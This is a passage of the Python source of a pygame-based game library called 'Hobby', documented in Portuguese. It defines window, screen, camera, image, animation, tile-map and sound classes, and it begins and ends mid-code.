Chama "pygame.display.set_caption" com o argumento adequado.
"""
if self._title is None:
pygame.display.set_caption(_DEFAULT_TITLE)
else:
pygame.display.set_caption(self._title)
def _set_icon(self):
"""
Chama "pygame.display.set_icon" com o argumento adequado.
"""
if self._icon is None:
pygame.display.set_icon(_DEFAULT_ICON)
else:
pygame.display.set_icon(self._icon._surf)
def _destroy(self):
"""
Destrói a janela.
"""
pygame.display.quit()
pygame.display.init()
self._set_caption()
self._set_icon()
if (mouse._cursor is None) and mouse._visible:
pygame.mouse.set_visible(True)
else:
pygame.mouse.set_visible(False)
self._surf = None
self._fitness_surf = None
def _create(self):
"""
Cria a janela.
"""
if self._surf is not None:
self._destroy()
if self._fullscreen:
self._surf = pygame.display.set_mode(
self._rect.size, pygame.FULLSCREEN)
elif self._resizable:
self._surf = pygame.display.set_mode(
self._rect.size, pygame.RESIZABLE)
else:
self._surf = pygame.display.set_mode(self._rect.size)
# Às vezes o Pygame não consigue criar uma Surface de fato com o tamanho
# solicitado. Precisamos garantir que self._rect.size corresponda ao
# tamanho da Surface que o Pygame conseguiu criar.
self._rect.size = self._surf.get_size()
self._fitness_rect = screen._rect.fit(self._rect)
self._fitness_surf = self._surf.subsurface(self._fitness_rect)
def _update(self):
"""
Atualiza a janela.
"""
if not self._visible:
return
if pygame.event.get(pygame.WINDOWRESIZED):
self._surf = pygame.display.get_surface()
self._rect = self._surf.get_rect()
self._fitness_rect = screen._rect.fit(self._rect)
self._fitness_surf = self._surf.subsurface(self._fitness_rect)
self._closing = False
if pygame.event.get(pygame.QUIT):
self._closing = True
if self._closer is not None:
keep = self._closer()
if not keep:
self._closer = None
self._surf.fill((0, 0, 0))
def _size_changed(self):
"""
Chamado automaticamente quando o tamanho da janela muda.
"""
# Quando a janela está em modo tela-cheia, o seu tamanho é fixo e
# equivale ao tamanho do monitor. Mas guardamos o tamanho do retângulo
# para usar depois, quando a janela sair do modo tela-cheia.
if self._fullscreen:
self._last_windowed_size = self._rect.size
self._rect.size = self._fullscreen_size
return
self._fitness_rect = screen._rect.fit(self._rect)
if not self._visible:
return
self._create()
@property
def closing(self):
"""
Bool indicando se o usuário tentou fechar a janela durante a
renderização do último quadro.
"""
return self._closing
@property
def visible(self):
"""
Bool indicando se a janela é visível.
"""
return self._visible
@visible.setter
def visible(self, visible):
_assert_bool('visible', visible)
if visible is self._visible:
return
self._visible = visible
if not visible:
self._destroy()
return
self._create()
@property
def resizable(self):
"""
Bool indicando se a janela é redimensionável para o usuário.
"""
return self._resizable
@resizable.setter
def resizable(self, resizable):
_assert_bool('resizable', resizable)
if resizable is self._resizable:
return
self._resizable = resizable
if not self._visible:
return
if self._fullscreen:
return
self._create()
@property
def fullscreen(self):
"""
Bool indicando se a janela está em modo tela-cheia.
"""
return self._fullscreen
@fullscreen.setter
def fullscreen(self, fullscreen):
_assert_bool('fullscreen', fullscreen)
if fullscreen is self._fullscreen:
return
self._fullscreen = fullscreen
if fullscreen:
self._last_windowed_size = self._rect.size
self._rect.size = self._fullscreen_size
else:
self._rect.size = self._last_windowed_size
self._fitness_rect = screen._rect.fit(self._rect)
if not self._visible:
return
self._create()
@property
def title(self):
"""
None ou string com pelo menos 1 caractere visível representando o título
da janela. Se for None, um título padrão será usado.
"""
return self._title
@title.setter
def title(self, title):
_assert_str_none('title', title)
_assert_ne_str_none('title', title)
_assert_ns_str_none('title', title)
self._title = title
self._set_caption()
@property
def icon(self):
"""
None ou objeto Image representando o ícone da janela. Se for None, um
ícone padrão será usado. Note que as transformações aplicadas em um
objeto Image usado como ícone são refletidas no ícone real da janela. Se
esse não é o comportamento desejado, crie uma cópia do objeto Image para
usar exclusivamente como ícone.
"""
return self._icon
@icon.setter
def icon(self, icon):
_assert_image_none('icon', icon)
if self._icon is not None:
self._icon._is_icon = False
if icon is not None:
icon._is_icon = True
self._icon = icon
self._set_icon()
@property
def closer(self):
"""
None ou objeto chamável a ser chamado sempre que o usuário tenta fechar
a janela. As chamadas são feitas sem argumentos. Note que, se você
atribuir um objeto chamável a esta propriedade, o objeto chamável
precisa sempre retornar um objeto com valor booleano verdadeiro se
quiser ser chamado novamente quando o usuário tornar a tentar fechar a
janela; do contrário, isto é, se o objeto chamável retornar um objeto
com valor booleano falso (inclusive um None implícito, fique atento),
isso será considerado um sinal para que o objeto chamável não seja mais
chamado a partir de então.
"""
return self._closer
@closer.setter
def closer(self, closer):
_assert_callable_none('closer', closer)
self._closer = closer
class _Screen(_Resizable, _Positional):
"""
Objeto representando a tela.
"""
__slots__ = ('_rect', '_surf', '_fitness', '_to_draw', '_to_draw_osd')
def __init__(self):
self._rect = window._rect.copy()
self._surf = pygame.Surface(self._rect.size, pygame.SRCALPHA)
self._fitness = False
self._to_draw = []
self._to_draw_osd = []
def _update(self):
"""
Atualiza a tela.
"""
self._surf.fill((0, 0, 0, 0))
self._surf.blits(self._to_draw, False)
self._to_draw.clear()
if ((camera._red < 1.0) or
(camera._green < 1.0) or
(camera._blue < 1.0) or
(camera._alpha < 1.0)):
self._surf.fill(camera._sub_color, None, pygame.BLEND_RGBA_SUB)
if camera._flipx or camera._flipy:
self._surf = pygame.transform.flip(
self._surf, camera._flipx, camera._flipy)
if camera._zoom > 0.0:
surf = self._surf.subsurface(camera._rect)
pygame.transform.smoothscale(surf, self._rect.size, self._surf)
if camera._angle != 0.0:
surf = pygame.transform.rotozoom(
self._surf, -camera._angle, 1.0)
rect = surf.get_rect(center = self._rect.center)
self._surf.fill((0, 0, 0, 0))
self._surf.blit(surf, rect)
if camera._rumble:
left = int(0.01 * self._rect.width)
left = random.randint(-left, left)
top = int(0.01 * self._rect.height)
top = random.randint(-top, top)
surf = self._surf.copy()
self._surf.blit(surf, (left, top))
self._surf.blits(self._to_draw_osd, False)
self._to_draw_osd.clear()
if not window._visible:
return
if self._fitness:
size = window._fitness_rect.size
surface = window._fitness_surf
else:
size = window._rect.size
surface = window._surf
# O ideal seria redimensionar a Surface de origem direto na Surface de
# destino, como feito acima no bloco "if camera._zoom > 0.0:", mas não
# podemos fazer assim aqui, porque o alpha per pixel da Surface de
# origem é ignorado no processo. Não está muito claro se isso é um BUG
# do Pygame ou se é o comportamento esperado, já que, neste caso, a
# Surface de destino é a Surface de exibição e não tem, ela mesma, alpha
# per pixel.
surf = pygame.transform.smoothscale(self._surf, size)
surface.blit(surf, (0, 0))
def _size_changed(self):
"""
Chamado automaticamente quando o tamanho da tela muda.
"""
self._surf = pygame.Surface(self._rect.size, pygame.SRCALPHA)
window._fitness_rect = self._rect.fit(window._rect)
camera._update_rect_size()
@property
def fitness(self):
"""
Bool indicando se a tela preserva a relação de aspecto original ao
renderizar os quadros.
"""
return self._fitness
@fitness.setter
def fitness(self, fitness):
_assert_bool('fitness', fitness)
self._fitness = fitness
class _Camera(_2D, _Mobile, _Transformable):
"""
Objeto representando a câmera.
"""
__slots__ = ('_rect', '_zoom', '_red', '_green', '_blue', '_alpha',
'_sub_color', '_flipx', '_flipy', '_angle', '_rumble')
def __init__(self):
self._rect = screen._rect.copy()
self._zoom = 0.0
self._red = 1.0
self._green = 1.0
self._blue = 1.0
self._alpha = 1.0
self._sub_color = _make_sub_color(
self._red, self._green, self._blue, self._alpha)
self._flipx = False
self._flipy = False
self._angle = 0.0
self._rumble = False
def _update(self):
"""
Atualiza a câmera.
"""
if isinstance(self._rumble, float):
self._rumble -= ticker._resolution
if self._rumble <= 0.0:
self._rumble = False
def _update_rect_size(self):
"""
Atualiza o tamanho do retângulo da câmera.
"""
factor = 1.0 - self._zoom
width = int(factor * screen._rect.width) or 1
height = int(factor * screen._rect.height) or 1
center = self._rect.center
self._rect.width = width
self._rect.height = height
self._rect.center = center
self._rect.clamp_ip(screen._rect)
def _position_changed(self):
"""
Chamado automaticamente quando a posição da câmera muda.
"""
self._rect.clamp_ip(screen._rect)
@property
def zoom(self):
"""
Float entre 0.0 e 1.0 representando o nível de zoom da câmera. Valores
menores que 0.0 são arredondados para 0.0 e valores maiores que 1.0 são
arredondados para 1.0.
"""
return self._zoom
@zoom.setter
def zoom(self, zoom):
_assert_float('zoom', zoom)
self._zoom = _round_float_0_1(zoom)
self._update_rect_size()
@property
def rumble(self):
"""
Bool ou float maior que 0.0. Se for False, então a câmera não está
vibrando; se for True, então o a câmera está vibrando por tempo
indeterminado; se for um float, então a câmera está vibrando e o valor
representa quantos segundos faltam para que a câmera pare de vibrar.
"""
return self._rumble
@rumble.setter
def rumble(self, rumble):
_assert_float_bool('rumble', rumble)
if isinstance(rumble, float):
_assert_gr_0('rumble', rumble)
self._rumble = rumble
class Image(_Rescalable, _Mobile, _Transformable, _Graphic):
"""
Image(path) -> Image
Classe de objetos para representar imagens.
O argumento "path" é uma string não-vazia representando o caminho do arquivo
de imagem a ser carregado.
"""
__slots__ = ('_original_surf', '_scalex', '_scaley', '_surf', '_rect',
'_osd', '_flipx', '_flipy', '_angle', '_red', '_green',
'_blue', '_alpha', '_sub_color', '_blend', '_blend_flag',
'_info', '_is_icon')
def __init__(self, path):
_assert_str('path', path)
_assert_ne_str('path', path)
_assert_exists(path)
_assert_file(path)
surf = _load_surf(path)
self._init(surf)
def _init(self, surf):
"""
Inicializa a imagem.
"""
self._original_surf = surf
self._scalex = 1.0
self._scaley = 1.0
self._surf = surf
self._rect = surf.get_rect()
self._osd = False
self._flipx = False
self._flipy = False
self._angle = 0.0
self._red = 1.0
self._green = 1.0
self._blue = 1.0
self._alpha = 1.0
self._sub_color = pygame.Color(0, 0, 0, 0)
self._blend = 'normal'
self._blend_flag = 0
self._info = None
self._is_icon = False
def _transform(self):
"""
Aplica todas as transformações necessárias na imagem.
"""
surf = self._original_surf
if ((self._red < 1.0) or (self._green < 1.0) or
(self._blue < 1.0) or (self._alpha < 1.0)):
surf = surf.copy()
surf.fill(self._sub_color, None, pygame.BLEND_RGBA_SUB)
if self._flipx or self._flipy:
surf = pygame.transform.flip(surf, self._flipx, self._flipy)
if (self._scalex != 1.0) or (self._scaley != 1.0):
width = int(self._scalex * surf.get_width()) or 1
height = int(self._scaley * surf.get_height()) or 1
surf = pygame.transform.smoothscale(surf, (width, height))
if self._angle > 0.0:
surf = pygame.transform.rotozoom(surf, -self._angle, 1.0)
self._surf = surf
self._rect = surf.get_rect(center = self._rect.center)
if self._is_icon:
window._set_icon()
def _scale_changed(self):
"""
Chamado automaticamente quando os fatores de redimensionamento da imagem
mudam.
"""
self._transform()
def _aspect_changed(self):
"""
Chamado automaticamente quando o aspecto da imagem muda.
"""
self._transform()
def copy(self):
"""
copy() -> Image
Cria e retorna uma cópia da imagem.
"""
image = object.__new__(self.__class__)
image._original_surf = self._original_surf
image._scalex = self._scalex
image._scaley = self._scaley
image._surf = self._surf
image._rect = self._rect.copy()
image._osd = self._osd
image._flipx = self._flipx
image._flipy = self._flipy
image._angle = self._angle
image._red = self._red
image._green = self._green
image._blue = self._blue
image._alpha = self._alpha
image._sub_color = self._sub_color
image._blend = self._blend
image._blend_flag = self._blend_flag
image._info = self._info
image._is_icon = False
return image
@classmethod
def from_screen(cls):
"""
from_screen() -> Image
Cria e retorna uma nova imagem a partir do último quadro renderizado.
"""
surf = screen._surf.copy()
image = object.__new__(cls)
image._init(surf)
return image
@classmethod
def from_size(cls, width, height):
"""
from_size(width, height) -> Image
Cria e retorna uma nova imagem com o tamanho fornecido.
O argumento "width" é um inteiro maior que 0 representando a largura da
imagem em pixels.
O argumento "height" é um inteiro maior que 0 representando a altura da
imagem em pixels.
"""
_assert_int('width', width)
_assert_gr_0('width', width)
_assert_int('height', height)
_assert_gr_0('height', height)
surf = _make_surf(width, height)
image = object.__new__(cls)
image._init(surf)
return image
@classmethod
def from_text(cls, text, font = None, size = 48, alignment = 'center'):
"""
from_text(text, font = None, size = 48, alignment = "center") -> Image
Cria e retorna uma imagem textual.
O argumento "text" é uma string com pelo menos 1 caractere visível
representando o texto a ser renderizado.
O argumento "font" é None ou uma string não-vazia representando o
caminho do arquivo de fonte a ser utilizado na renderização. Se for
None, uma fonte padrão será utilizada.
O argumento "size" é um inteiro maior que 0 representando o tamanho de
fonte a ser utilizado na renderização.
O argumento "alignment" é "left", "center" ou "right" indicando como a
renderização deve alinhar o texto.
"""
_assert_str('text', text)
_assert_ne_str('text', text)
_assert_ns_str('text', text)
_assert_str_none('font', font)
_assert_ne_str_none('font', font)
_assert_exists_none(font)
_assert_file_none(font)
_assert_int('size', size)
_assert_gr_0('size', size)
_assert_str('alignment', alignment)
_assert_ne_str('alignment', alignment)
_assert_vld_algn(alignment)
font = _load_font(font, size)
surf = _render_text(text, font, size, alignment)
image = object.__new__(cls)
image._init(surf)
return image
class Animation(_Rescalable, _Mobile, _Transformable, _Graphic):
"""
Animation(path) -> Animation
Classe de objetos para representar animações.
O argumento "path" é uma string não-vazia representando o caminho do
diretório contendo os arquivos de imagem a serem carregados.
"""
__slots__ = ('_original_surfs', '_scalex', '_scaley', '_surfs', '_rects',
'_surf', '_rect', '_red', '_green', '_blue', '_alpha',
'_sub_color', '_flipx', '_flipy', '_angle', '_osd', '_blend',
'_blend_flag', '_redraw', '_redraw_count', '_length',
'_anchor', '_index', '_loop', '_playing', '_backward', '_info')
def __init__(self, path):
_assert_str('path', path)
_assert_ne_str('path', path)
_assert_exists(path)
_assert_dir(path)
surfs = _load_surfs(path)
self._init(surfs)
def _init(self, surfs):
"""
Inicializa a animação.
"""
self._original_surfs = surfs
self._scalex = 1.0
self._scaley = 1.0
self._surfs = self._original_surfs
self._rects = tuple([surf.get_rect() for surf in self._surfs])
self._surf = self._surfs[0]
self._rect = self._rects[0]
self._red = 1.0
self._green = 1.0
self._blue = 1.0
self._alpha = 1.0
self._sub_color = pygame.Color(0, 0, 0, 0)
self._flipx = False
self._flipy = False
self._angle = 0.0
self._osd = False
self._blend = 'normal'
self._blend_flag = 0
self._redraw = 1
self._redraw_count = 0
self._length = len(self._surfs)
self._anchor = 'midbottom'
self._index = 0
self._loop = True
self._playing = True
self._backward = False
self._info = None
def _transform(self):
"""
Aplica todas as transformações necessárias na animação.
"""
surfs = self._original_surfs
if ((self._red < 1.0) or (self._green < 1.0) or
(self._blue < 1.0) or (self._alpha < 1.0)):
surfs = [surf.copy() for surf in surfs]
for surf in surfs:
surf.fill(self._sub_color, None, pygame.BLEND_RGBA_SUB)
if self._flipx or self._flipy:
surfs = [pygame.transform.flip(surf, self._flipx, self._flipy)
for surf in surfs]
if (self._scalex != 1.0) or (self._scaley != 1.0):
surfaces = []
for surf in surfs:
width = int(self._scalex * surf.get_width()) or 1
height = int(self._scaley * surf.get_height()) or 1
surf = pygame.transform.smoothscale(surf, (width, height))
surfaces.append(surf)
surfs = surfaces
if self._angle > 0.0:
surfs = [pygame.transform.rotozoom(surf, -self._angle, 1.0)
for surf in surfs]
self._surfs = tuple(surfs)
self._surf = self._surfs[self._index]
self._rects = tuple([surf.get_rect() for surf in self._surfs])
center = self._rect.center
self._rect = self._rects[self._index]
self._rect.center = center
def _update_index(self):
"""
Atualiza o índice da animação.
"""
self._index += 1
if self._index == self._length:
if not self._loop:
self._index -= 1
self._playing = False
else:
self._index = 0
def _update_index_backward(self):
"""
Atualiza o índice da animação reproduzindo de trás para frente.
"""
self._index -= 1
if self._index < 0:
if not self._loop:
self._index = 0
self._playing = False
else:
self._index = self._length - 1
def _update(self):
"""
Atualiza a animação.
"""
if not self._playing:
return
self._redraw_count += 1
if self._redraw_count < self._redraw:
return
self._redraw_count = 0
if self._backward:
self._update_index_backward()
else:
self._update_index()
anchor_value = getattr(self._rect, self._anchor)
self._surf = self._surfs[self._index]
self._rect = self._rects[self._index]
setattr(self._rect, self._anchor, anchor_value)
def _scale_changed(self):
"""
Chamado automaticamente quando os fatores de redimensionamento da
animação mudam.
"""
self._transform()
def _aspect_changed(self):
"""
Chamado automaticamente quando o aspecto da animação muda.
"""
self._transform()
def _data_buffered(self):
"""
Chamado automaticamente quando os dados da animação são armazenados no
buffer da tela para que a animação seja desenhada.
"""
_ANIMATIONS_TO_UPDATE.add(self)
@property
def anchors(self):
"""
Tupla de strings representando as âncoras válidas.
"""
return _ANIMATION_ANCHORS
@property
def length(self):
"""
Inteiro maior que 0 representando o número de quadros da animação.
"""
return self._length
@property
def anchor(self):
"""
String não-vazia representando o atributo de posicionamento cujo valor
se mantém inalterado nas mudanças entre quadros de tamanhos diferentes.
Veja a propriedade "anchors" para conhecer as âncoras válidas.
"""
return self._anchor
@anchor.setter
def anchor(self, anchor):
_assert_str('anchor', anchor)
_assert_ne_str('anchor', anchor)
_assert_vld_anchor(anchor)
self._anchor = anchor
@property
def redraw(self):
"""
Inteiro maior que 0 representando o número de vezes que cada quadro da
animação é desenhado antes de ser substituído pelo quadro seguinte.
"""
return self._redraw
@redraw.setter
def redraw(self, redraw):
_assert_int('redraw', redraw)
_assert_gr_0('redraw', redraw)
self._redraw = redraw
@property
def loop(self):
"""
Bool indicando se a animação é reproduzida automaticamente desde o
começo após chegar ao fim.
"""
return self._loop
@loop.setter
def loop(self, loop):
_assert_bool('loop', loop)
self._loop = loop
@property
def playing(self):
"""
Bool indicando se a animação está sendo reproduzida.
"""
return self._playing
@playing.setter
def playing(self, playing):
_assert_bool('playing', playing)
self._playing = playing
@property
def backward(self):
"""
Bool indicando se a animação é reproduzida de trás para frente.
"""
return self._backward
@backward.setter
def backward(self, backward):
_assert_bool('backward', backward)
self._backward = backward
@property
def index(self):
"""
Inteiro maior ou igual a 0 e menor que a propriedade "length"
representando o índice do quadro atual da animação.
"""
return self._index
@index.setter
def index(self, index):
_assert_int('index', index)
_assert_gr_eq_0('index', index)
_assert_le_anim_len(self._length, index)
self._index = index
anchor_value = getattr(self._rect, self._anchor)
self._surf = self._surfs[self._index]
self._rect = self._rects[self._index]
setattr(self._rect, self._anchor, anchor_value)
def copy(self):
"""
copy() -> Animation
Cria e retorna uma cópia da animação.
"""
animation = object.__new__(self.__class__)
animation._original_surfs = self._original_surfs
animation._scalex = self._scalex
animation._scaley = self._scaley
animation._surfs = tuple([surf.copy() for surf in self._surfs])
animation._rects = tuple([rect.copy() for rect in self._rects])
animation._surf = animation._surfs[self._index]
animation._rect = animation._rects[self._index]
animation._red = self._red
animation._green = self._green
animation._blue = self._blue
animation._alpha = self._alpha
animation._sub_color = self._sub_color
animation._flipx = self._flipx
animation._flipy = self._flipy
animation._angle = self._angle
animation._osd = self._osd
animation._blend = self._blend
animation._blend_flag = self._blend_flag
animation._redraw = self._redraw
animation._redraw_count = self._redraw_count
animation._length = self._length
animation._anchor = self._anchor
animation._index = self._index
animation._loop = self._loop
animation._playing = self._playing
animation._backward = self._backward
animation._info = self._info
return animation
@classmethod
def from_images(cls, images):
"""
from_images(images) -> Animation
Cria e retorna uma nova animação a partir das imagens fornecidas.
O argumento "images" é uma tupla com 1 ou mais objetos Image
representando os quadros da animação.
"""
_assert_tuple('images', images)
_assert_ne_tuple('images', images)
for (index, image) in enumerate(images):
_assert_image(f'images[{index}]', image)
surfs = tuple([image._surf.copy() for image in images])
animation = object.__new__(cls)
animation._init(surfs)
return animation
class _Tile(_2D, _Positional):
"""
Objeto representando um ladrilho.
"""
__slots__ = ('_tmap', '_rect', '_index', '_indexes', '_graphic')
def __init__(self, tmap, left, top, width, height, index, indexes):
self._tmap = tmap
self._rect = pygame.Rect(left, top, width, height)
self._index = index
self._indexes = indexes
self._graphic = None
@property
def index(self):
"""
Inteiro maior ou igual a 0 representando o índice para encontrar o
ladrilho no vetor do mapa.
"""
return self._index
@property
def indexes(self):
"""
Tupla de 2 inteiros (r, c) maiores ou iguais a 0 representando os
índices para encontrar o ladrilho na matriz do mapa.
"""
return self._indexes
@property
def info(self):
"""
Qualquer tipo de objeto representando informações. Esta propriedade
reflete o valor da propriedade "info" do objeto gráfico associado ao
ladrilho.
"""
if self._graphic is not None:
return self._graphic._info
@property
def graphic(self):
"""
None ou qualquer tipo de objeto gráfico associado ao ladrilho. São
considerados gráficos os objetos Image e os objetos Animation.
"""
return self._graphic
@graphic.setter
def graphic(self, graphic):
_assert_graphic_none('graphic', graphic)
self._graphic = graphic
class TileMap(_2D, _Mobile):
"""
TileMap(rows, columns, tile_width, tile_height) -> TileMap
Classe de objetos para representar mapas de ladrilhos.
O argumento "rows" é um inteiro maior que 0 representando o número de linhas
do mapa.
O argumento "columns" é um inteiro maior que 0 representando o número de
colunas do mapa.
O argumento "tile_width" é um inteiro maior que 0 representando a largura de
cada ladrilho do mapa em pixels.
O argumento "tile_height" é um inteiro maior que 0 representando a altura de
cada ladrilho do mapa em pixels.
"""
__slots__ = ('_matrix', '_vector', '_rect', '_focused')
def __init__(self, rows, columns, tile_width, tile_height):
_assert_int('rows', rows)
_assert_gr_0('rows', rows)
_assert_int('columns', columns)
_assert_gr_0('columns', columns)
_assert_int('tile_width', tile_width)
_assert_gr_0('tile_width', tile_width)
_assert_int('tile_height', tile_height)
_assert_gr_0('tile_height', tile_height)
self._init(rows, columns, tile_width, tile_height)
def _init(self, rows, columns, tile_width, tile_height):
"""
Inicializa o mapa.
"""
matrix = []
vector = []
index = 0
for y in range(rows):
row = []
for x in range(columns):
tile = _Tile(self, x * tile_width, y * tile_height,
tile_width, tile_height, index, (y, x))
index += 1
row.append(tile)
vector.append(tile)
row = tuple(row)
matrix.append(row)
self._matrix = tuple(matrix)
self._vector = tuple(vector)
self._rect = pygame.Rect(
0, 0, columns * tile_width, rows * tile_height)
self._focused = ()
self._update_focused()
def _position_changed(self):
"""
Chamado automaticamente quando a posição do mapa muda.
"""
x = self._rect.left - self._vector[0]._rect.left
y = self._rect.top - self._vector[0]._rect.top
if (not x) and (not y):
return
for tile in self._vector:
tile._rect.move_ip(x, y)
self._update_focused()
def _update_focused(self):
"""
Atualiza o vetor de ladrilhos que estão na tela.
"""
if not self._rect.colliderect(screen._rect):
self._focused = ()
return
start_row = 0
for row in self._matrix:
tile = row[0]
if tile.bottom > screen.top:
start_row = self._matrix.index(row)
break
end_row = len(self._matrix)
for row in self._matrix[start_row:]:
tile = row[0]
if tile.top > screen.bottom:
end_row = self._matrix.index(row)
break
row = self._matrix[start_row]
start_column = 0
for tile in row:
if tile.right > screen.left:
start_column = row.index(tile)
break
end_column = len(row)
for tile in row:
if tile.left > screen.right:
end_column = row.index(tile)
break
focused = []
for row in self._matrix[start_row:end_row]:
for tile in row[start_column:end_column]:
focused.append(tile)
self._focused = tuple(focused)
@property
def focused(self):
"""
Tupla de objetos _Tile: vetor contendo os ladrilhos do mapa que estão na
tela.
"""
return self._focused
@property
def vector(self):
"""
Tupla de objetos _Tile: vetor contendo todos os ladrilhos do mapa.
"""
return self._vector
@property
def matrix(self):
"""
Tupla de tuplas de objetos _Tile: matriz contendo todos os ladrilhos do
mapa. O primeiro índice corresponde à linha e o segundo à coluna.
"""
return self._matrix
@classmethod
def from_matrix(cls, matrix, graphics):
"""
from_matrix(matrix, graphics) -> TileMap
Cria e retorna um novo mapa a partir de uma matriz de índices.
O argumento "matrix" é uma tupla de tuplas de inteiros maiores ou iguais
a 0 e menores que "len(graphics)". Todas tuplas aninhadas (as linhas da
matriz) precisam ter o mesmo número de itens. Os inteiros das tuplas
aninhadas serão usados para indexar a tupla "graphics", associando os
objetos gráficos aos ladrilhos do mapa resultante.
O argumento "graphics" é uma tupla de objetos gráficos. São considerados
gráficos os objetos Image e os objetos Animation.
Note que todos os ladrilhos do mapa resultante terão o mesmo tamanho do
primeiro objeto gráfico encontrado em "graphics".
"""
# Precisamos testar a tupla de gráficos primeiro, porque alguns testes
# de matriz assumem que a tupla de gráficos é válida.
_assert_tuple('graphics', graphics)
_assert_ne_tuple('graphics', graphics)
for (index, graphic) in enumerate(graphics):
_assert_graphic(f'graphics[{index}]', graphic)
_assert_tuple('matrix', matrix)
_assert_ne_tuple('matrix', matrix)
for (row_index, row) in enumerate(matrix):
_assert_tuple(f'matrix[{row_index}]', row)
_assert_ne_tuple(f'matrix[{row_index}]', row)
_assert_all_same_len('matrix', matrix)
for (item_index, item) in enumerate(row):
_assert_int(f'matrix[{row_index}][{item_index}]', item)
_assert_gr_eq_0(f'matrix[{row_index}][{item_index}]', item)
_assert_le_graphics_len(len(graphics), item)
rows = len(matrix)
columns = len(matrix[0])
tile_width = graphics[0].width
tile_height = graphics[0].height
tmap = object.__new__(cls)
tmap._init(rows, columns, tile_width, tile_height)
for tile in tmap._vector:
(row, column) = tile._indexes
index = matrix[row][column]
tile._graphic = graphics[index]
return tmap
@classmethod
def from_file(cls, path, graphics):
"""
from_file(path, graphics) -> TileMap
Cria e retorna um novo mapa a partir de um arquivo representando uma
matriz de índices.
O argumento "path" é uma string não-vazia representando o caminho do
arquivo a ser carregado. O arquivo precisa ter pelo menos 1 linha, e
cada linha do arquivo precisa ter pelo menos 1 número. Todas as linhas
do arquivo precisam ter a mesma quantidade de números, separados por
espaço. Aqui está um exemplo de arquivo formatado corretamente:
31 27 01 99
02 01 11 32
Como você pode ver, é possível escrever 02 em vez de 2 para que todos os
números tenham a mesma quantidade de dígitos e o arquivo fique mais
legível. Os números do arquivo serão convertidos em inteiros e usados
para indexar a tupla "graphics", associando os objetos gráficos aos
ladrilhos do mapa resultante.
O argumento "graphics" é uma tupla de objetos gráficos. São considerados
gráficos os objetos Image e os objetos Animation.
Note que todos os ladrilhos do mapa resultante terão o mesmo tamanho do
primeiro objeto gráfico encontrado em "graphics".
"""
_assert_str('path', path)
_assert_ne_str('path', path)
_assert_exists(path)
_assert_file(path)
matrix = _load_matrix(path)
return cls.from_matrix(matrix, graphics)
def draw(self):
"""
draw() -> None
Desenha o mapa na tela.
"""
for tile in self._focused:
graphic = tile._graphic
if graphic is None:
continue
data = (graphic._surf, tile._rect.topleft,
None, graphic._blend_flag)
screen._to_draw.append(data)
graphic._data_buffered()
class Sound(object):
"""
Sound(path) -> Sound
Classe de objetos para representar sons.
O argumento "path" é uma string não-vazia representando o caminho do arquivo
de som a ser carregado.
"""
__slots__ = ('_sound', '_channel', '_volumel', '_volumer')
def __init__(self, path):
_assert_str('path', path)
_assert_ne_str('path', path)
_assert_exists(path)
_assert_file(path)
(self._sound, self._channel) = _load_sound(path)
self._volumel = 1.0
self._volumer = 1.0
def __del__(self):
try:
_SOUND_CHANNELS.append(self._channel)
except:
pass
@property
def length(self):
"""
Float maior que 0.0 representando a duração do som em segundos.
"""
return self._sound.get_length()
@property
def volumel(self):
"""
Float entre 0.0 e 1.0 representando o volume do som no alto-falante da
esquerda. Valores menores que 0.0 são arredondados para 0.0 e valores
maiores que 1.0 são arredondados para 1.0.
"""
return self._volumel
@volumel.setter
def volumel(self, volumel):
_assert_float('volumel', volumel)
self._volumel = _round_float_0_1(volumel)
self._channel.set_volume(self._volumel, self._volumer)
@property
def volumer(self):
"""
Float entre 0.0 e 1.0 representando o volume do som no alto-falante da
direita. Valores menores que 0.0 são arredondados para 0.0 e valores
maiores que 1.0 são arredondados para 1.0.
"""
return self._volumer
@volumer.setter
def volumer(self, volumer):
_assert_float('volumer', volumer)
self._volumer = _round_float_0_1(volumer)
self._channel.set_volume(self._volumel, self._volumer)
@property
def volume(self):
"""
Tupla de 2 floats (l, r) entre 0.0 e 1.0 representando os volumes do som
nos alto-falantes da esquerda e da direita. Valores menores que 0.0 são
arredondados para 0.0 e valores maiores que 1.0 são arredondados para
1.0.
"""
return (self._volumel, self._volumer)
@volume.setter
def volume(self, volume):
_assert_tuple('volume', volume)
_assert_len_2('volume', volume)
_assert_float('volume[0]', volume[0])
_assert_float('volume[1]', volume[1])
self._volumel = _round_float_0_1(volume[0])
self._volumer = _round_float_0_1(volume[1])
self._channel.set_volume(self._volumel, self._volumer)
def play(self, times = 1, max_time = 0.0, fade_in = 0.0):
"""
play(times = 1, max_time = 0.0, fade_in = 0.0) -> None
Reproduz o som.
O argumento "times" é um inteiro maior ou igual a 0 representando
quantas vezes o som deve ser reproduzido. Se for 0, o som será
reproduzido repetidas vezes, indefinidamente.
O argumento "max_time" é um float maior ou igual a 0.0 representando o
tempo máximo da reprodução em segundos. Se for 0.0, o som será
reproduzido integralmente.
O argumento "fade_in" é um float maior ou igual a 0.0 representando a
duração do "fade in" em segundos. Se for 0.0, a reprodução iniciará sem
"fade in".
"""
_assert_int('times', times)
_assert_gr_eq_0('times', times)
_assert_float('max_time', max_time)
_assert_gr_eq_0('max_time', max_time)
_assert_float('fade_in', fade_in)
_assert_gr_eq_0('fade_in', fade_in)
times -= 1
max_time = _s2ms(max_time)
fade_in = _s2ms(fade_in)
self._channel.play(self._sound, times, max_time, fade_in)
def stop(self, fade_out = 0.0):
"""
stop(fade_out = 0.0) -> None
Interrompe a reprodução do som.
O argumento "fade_out" é um float maior ou igual a 0.0 representando a
duração do "fade out" em segundos. Se for 0.0, a reprodução será
interrompida sem "fade out".
"""
_assert_float('fade_out', fade_out)
_assert_gr_eq_0('fade_out', fade_out)
fade_out = _s2ms(fade_out)
if fade_out:
self._channel.fadeout(fade_out)
else:
self._channel.stop()
def pause(self):
"""
pause() -> None
Pausa a reprodução do som.
"""
self._channel.pause()
def unpause(self):
"""
unpause() -> None
Retoma a reprodução do som no ponto onde foi pausada.
"""
self._channel.unpause()
class Error(Exception):
"""
Classe de erros específicos do Hobby.
"""
pass
_TEXT_ALIGNMENTS = ('left', 'center', 'right')
_ANIMATION_ANCHORS = ('top', 'left', 'bottom', 'right', 'topleft', 'bottomleft',
'topright', 'bottomright', 'midtop', 'midleft',
'midbottom', 'midright', 'center', 'centerx', 'centery')
_GRAPHIC_BLENDS_TABLE = {
'normal' : 0,
'add' : pygame.BLEND_RGBA_ADD,
'sub' : pygame.BLEND_RGBA_SUB,
'min' : pygame.BLEND_RGBA_MIN,
'max' : pygame.BLEND_RGBA_MAX,
'mult' : pygame.BLEND_RGBA_MULT,
